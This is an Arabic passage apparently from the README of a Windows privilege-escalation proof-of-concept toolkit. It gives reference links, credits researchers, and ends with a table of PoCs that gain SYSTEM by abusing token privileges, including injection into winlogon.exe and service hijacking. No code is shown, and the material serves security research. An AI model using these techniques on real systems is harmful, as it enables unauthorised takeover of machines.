- [Priv2Admin](https://github.com/gtworek/Priv2Admin) و [PSBits](https://github.com/gtworek/PSBits) من قبل [Grzegorz Tworek](https://twitter.com/0gtweet)
- [إساءة استخدام صلاحيات الرمز المميز لتصعيد الامتيازات المحلية](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) من قبل [Bryan Alexander](https://twitter.com/dronesec) و [Steve Breen](https://twitter.com/breenmachine)
- [whoami /priv](https://github.com/decoder-it/whoami-priv-Hackinparis2019) من قبل [Andrea Pierini](https://twitter.com/decoder_it)
- [برنامج تشغيل قابل للاختراق شديد من HackSys](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) من قبل [Ashfaq Ansari](https://twitter.com/hacksysteam)


## إشادات

[العودة إلى الأعلى](#privfu)

شكرًا لنصائحك حول برمجة إضافة WinDbg:

- Pavel Yosifovich ([@zodiacon](https://twitter.com/zodiacon)) 

شكرًا لأبحاثك البارزة:

- Grzegorz Tworek ([@0gtweet](https://twitter.com/0gtweet))
- Bryan Alexander ([@dronesec](https://twitter.com/dronesec))
- Steve Breen ([@breenmachine](https://twitter.com/breenmachine))
- Andrea Pierini ([@decoder_it](https://twitter.com/decoder_it))

شكرًا لإصدار عينة برنامج تشغيل kernel الخاص بك:

- Ashfaq Ansari ([@HackSysTeam](https://twitter.com/hacksysteam))
تنزيل الأداة
اسم PoCالوصف
CreateAssignTokenVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeCreateTokenPrivilege و SeAssignPrimaryTokenPrivilege.
CreateImpersonateTokenVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeCreateTokenPrivilege و SeImpersonatePrivilege.
CreateTokenVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeCreateTokenPrivilege.
DebugInjectionVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeDebugPrivilege. يستخدم حقن الأكواد في winlogon.exe في المرحلة النهائية.
DebugUpdateProcVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeDebugPrivilege. ينشئ عملية SYSTEM من winlogon.exe باستخدام واجهة UpdateProcThreadAttribute في المرحلة النهائية.
RestoreServiceModificationVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeRestorePrivilege. يستخدم HijackShellLib مع هذا المثال.
SecondaryLogonVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeCreateTokenPrivilege و SeImpersonatePrivilege. يستخدم خدمة تسجيل الدخول الثانوية في المرحلة النهائية.
TakeOwnershipServiceModificationVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeTakeOwnershipPrivilege. يستخدم HijackShellLib مع هذا المثال.
TcbS4uAssignTokenVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeTcbPrivilege. يحصل على شل بمستوى إلزامي للنظام من مستوى إلزامي متوسط.
TcbS4uImpersonationVariantيقوم هذا المثال بترقية الصلاحيات باستخدام SeTcbPrivilege. يقوم بانتحال هوية مؤشر الترابط باستخدام تسجيل الدخول S4U. لا يحصل على مستوى تكامل عالٍ أو مستوى النظام.